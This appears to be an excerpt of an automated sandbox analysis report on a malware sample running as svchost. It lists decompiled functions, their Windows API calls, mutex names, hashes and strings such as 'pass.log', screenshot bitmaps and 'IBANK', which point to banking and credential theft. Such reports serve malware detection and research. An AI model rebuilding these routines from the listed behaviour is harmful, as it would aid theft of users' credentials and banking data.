                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D202F1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D0148C,00000000,?), ref: 02D202FE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D20301
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$Process$Pointer$AllocFreeLockReadSizeUnlockValidatememset
                                                                                                                                                                                                            • String ID: BEGIN SIGNATURE$END SIGNATURE
                                                                                                                                                                                                            • API String ID: 373673121-4158457813
                                                                                                                                                                                                            • Opcode ID: 8bf9a8dbe3f3276a6dee7a440506260b41ffae436f1aacfa9caa66a4603c076e
                                                                                                                                                                                                            • Instruction ID: 1d9f351b7a7a68480621c7af0752e145e09be1efb1305f863ec7e66bcf3eb728
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8bf9a8dbe3f3276a6dee7a440506260b41ffae436f1aacfa9caa66a4603c076e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8431D371945320ABE3108F649C89F2B7BECEF64B09F444A1AF944E6380D7B0DD18CBA5
                                                                                                                                                                                                            Function 02D21B60 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 115synchronizationsleepfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59011e), ref: 02D21BA7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D21BE7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21BF1
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21BF9
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D21C0A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D21C11
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D21C4B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D21C58
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214},?,?), ref: 02D21C77
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D21C88
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D21C8F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D21CA1
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21CB2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateErrorFileHandleLastMutexPath$AdminAttributesBackslashCloseDeleteDirectoryFolderInformationMakeReleaseSleepSystemUser
                                                                                                                                                                                                            • String ID: 5c59011e$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$pass.log$\t
                                                                                                                                                                                                            • API String ID: 1707266166-2403507088
                                                                                                                                                                                                            • Opcode ID: 5156b964be4b5bf834cf18fbe94c987e51b256bca78cfcc9cf36217e6f69a6fc
                                                                                                                                                                                                            • Instruction ID: 64fbda0441ca537faec3db2c0d242099e3736fdc4f80fd7207f998b0f5efb845
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5156b964be4b5bf834cf18fbe94c987e51b256bca78cfcc9cf36217e6f69a6fc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D0411638944229ABDB108F24E858BEA7BF8EF65305F148595E889C7340DBB0DE58CB60
                                                                                                                                                                                                            Function 02D21B88 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 107synchronizationsleepfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59011e), ref: 02D21BA7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D21BE7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21BF1
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21BF9
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D21C0A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D21C11
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D21C4B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D21C58
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214},?,?), ref: 02D21C77
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D21C88
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D21C8F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D21CA1
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21CB2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateErrorFileHandleLastMutexPath$AdminAttributesBackslashCloseDeleteDirectoryFolderInformationMakeReleaseSleepSystemUser
                                                                                                                                                                                                            • String ID: 5c59011e$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$pass.log$\t
                                                                                                                                                                                                            • API String ID: 1707266166-2403507088
                                                                                                                                                                                                            • Opcode ID: e99836a8dff0c07db52a745d47603f259b08ff1da40d4923c5b5b48df36e5576
                                                                                                                                                                                                            • Instruction ID: 7ee4ccdc8c46474ea65174e3cc9d7ac5af38b32320e9d5dd1c458c49d512fe32
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e99836a8dff0c07db52a745d47603f259b08ff1da40d4923c5b5b48df36e5576
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2D31E238944219AFDB108F24E858BEABBF8EF65305F148595F889D7340DB70DE54CB50
                                                                                                                                                                                                            Function 02D1B240 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 106sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590506), ref: 02D1B26A
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1B2AC
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1B2B8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1B2BC
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1B2CD
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1B2D4
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1B303
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1B309
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1B30D
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1B31E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1B325
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D1B35A
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02D1B370
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$5c590506$scrs$\t
                                                                                                                                                                                                            • API String ID: 224938940-3318709765
                                                                                                                                                                                                            • Opcode ID: b5695bd75c9d66ad089eab3c8b0357b60af7cc5f062a4ada73d725e77cafec31
                                                                                                                                                                                                            • Instruction ID: a232e050be21e2f8fff25c082c34da3e35bb8ecfe99606caa528835abc1ef5cf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b5695bd75c9d66ad089eab3c8b0357b60af7cc5f062a4ada73d725e77cafec31
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8F3137759002186BCB209F74BC98BEB77E8EB69708F944491E9C5C3300DB70DD58CBA0
                                                                                                                                                                                                            Function 02D1E8D0 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 106sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59043a), ref: 02D1E8FA
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1E93C
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E948
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E94C
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1E95D
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E964
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1E993
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E999
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E99D
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1E9AE
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E9B5
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D1E9EA
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02D1EA00
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$5c59043a$scrs$\t
                                                                                                                                                                                                            • API String ID: 224938940-2117724828
                                                                                                                                                                                                            • Opcode ID: fc92f824d93017afa1e8f5505a8533142c6148f6ee685caa87c63a6a8acc48af
                                                                                                                                                                                                            • Instruction ID: 2e84b8620137cc1d08baf9ede52b8cb64689f59839a1ed97a1b8e8c67f38c6be
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fc92f824d93017afa1e8f5505a8533142c6148f6ee685caa87c63a6a8acc48af
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E7313579D002286BCB20DB74BC98BEB77E8AB55704F844891ED85C3340EBB0DD44CBA0
                                                                                                                                                                                                            Function 02D21990 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 106sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590608), ref: 02D219BA
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D219FC
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21A08
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21A0C
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D21A1D
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D21A24
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D21A53
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21A59
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21A5D
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D21A6E
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D21A75
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D21AAA
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02D21AC0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$5C590608$scrs$\t
                                                                                                                                                                                                            • API String ID: 224938940-3975026732
                                                                                                                                                                                                            • Opcode ID: 557543b02412bec706a03a42ec46dcac975d668d195d4890f7d7ce3c97cd679e
                                                                                                                                                                                                            • Instruction ID: cdc85fc016fc1c40194bc165a3af4ddf0fd780307988ebf6dfedafc0aea79880
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 557543b02412bec706a03a42ec46dcac975d668d195d4890f7d7ce3c97cd679e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1B313775D002285BCB20DB74AC98BEB77E8AF65708F848590E9C9D3301DB70DD49CBA0
                                                                                                                                                                                                            Function 02D208E0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02D208FC
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D20912
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02D20920
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D20929
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D20947
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D20955
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D20790,00000000,00000000,00000000), ref: 02D2096A
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D2097B
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D20980
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D20994
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D209A2
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590484), ref: 02D209AD
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c590484,INIST), ref: 02D209C7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 5c590484$INIST$Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}$\t
                                                                                                                                                                                                            • API String ID: 2736094147-1028557238
                                                                                                                                                                                                            • Opcode ID: 56d35ba2bb75be71208c668628e4aa43d19c293cb51ddc972aa7820d6f59e15a
                                                                                                                                                                                                            • Instruction ID: fc56cd7833d8c433ca05c35d52ad6bd6de50c8b4c6a3e8213b6308126d7816ae
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 56d35ba2bb75be71208c668628e4aa43d19c293cb51ddc972aa7820d6f59e15a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E3213A35AC53253BF2105B60AC06F1A73D49F75B5AF144604FE45B63C08BF0AD188AE6
                                                                                                                                                                                                            Function 02D20070 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}), ref: 02D2008C
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D200A2
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}), ref: 02D200B0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D200B9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D200D7
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D200E5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1FF20,00000000,00000000,00000000), ref: 02D200FA
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D2010B
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D20110
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D20124
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D20132
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5904FC), ref: 02D2013D
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C5904FC,IBANK), ref: 02D20157
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 5C5904FC$IBANK$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}$\t
                                                                                                                                                                                                            • API String ID: 2736094147-2087944852
                                                                                                                                                                                                            • Opcode ID: 6d0038d0d8c7ff818bbdf3f3c042bdf63207e01aae24fbb882fe2429ab3f0872
                                                                                                                                                                                                            • Instruction ID: 3827e549f23275fcfb1150fc650d48dc84243aefd474c7fdc32b07a40e657262
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6d0038d0d8c7ff818bbdf3f3c042bdf63207e01aae24fbb882fe2429ab3f0872
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2C21F835AC57243BF2215B606C0AF1E73D89F65B69F604604FE45A63C09BF4AC0886A6
                                                                                                                                                                                                            Function 02D21060 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}), ref: 02D2107C
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D21092
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}), ref: 02D210A0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D210A9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D210C7
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D210D5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D20DE0,00000000,00000000,00000000), ref: 02D210EA
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D210FB
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D21100
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D21114
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21122
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E), ref: 02D2112D
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C59061E,INTER), ref: 02D21147
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 5C59061E$INTER$Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}$\t
                                                                                                                                                                                                            • API String ID: 2736094147-1476036043
                                                                                                                                                                                                            • Opcode ID: d57750981b922812e1fd9216146b67ceeb9a49599e6e56e90ee1664617d1d34d
                                                                                                                                                                                                            • Instruction ID: 45711385bb1995b52fc7a256627bfd117453c7d3e695faeade85c067f5595b13
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d57750981b922812e1fd9216146b67ceeb9a49599e6e56e90ee1664617d1d34d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4F21F835AC47753BF3219B606C06F1A73D49F25B59F208505FE09663C19BF0EC0986A9
                                                                                                                                                                                                            Function 02D1F1B0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02D1F1CC
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1F1E2
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02D1F1F0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1F1F9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D1F217
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1F225
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1EDD0,00000000,00000000,00000000), ref: 02D1F23A
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D1F24B
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D1F250
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D1F264
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1F272
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59047E), ref: 02D1F27D
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C59047E,FAKTURA), ref: 02D1F297
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 5C59047E$FAKTURA$Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}$\t
                                                                                                                                                                                                            • API String ID: 2736094147-1640954669
                                                                                                                                                                                                            • Opcode ID: d035cba7eba8a6acd806fadb93c7177c82aff2ecb4edb91411da6ee35cfacb9c
                                                                                                                                                                                                            • Instruction ID: ca385c3acf443d3381dd6adc31c0265cc181a9c35fd0710fe956a9c6b0026d93
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d035cba7eba8a6acd806fadb93c7177c82aff2ecb4edb91411da6ee35cfacb9c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D721D336AC43153FF311AB60BC0AF5A73C49F54B65F548A04FE45A67C0DBF0AD048AA5
                                                                                                                                                                                                            Function 02D03AE0 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 268threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D3A4,?), ref: 02D03BFD
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D3A4), ref: 02D03C33
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D3A4), ref: 02D03C67
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D3A4), ref: 02D03CE7
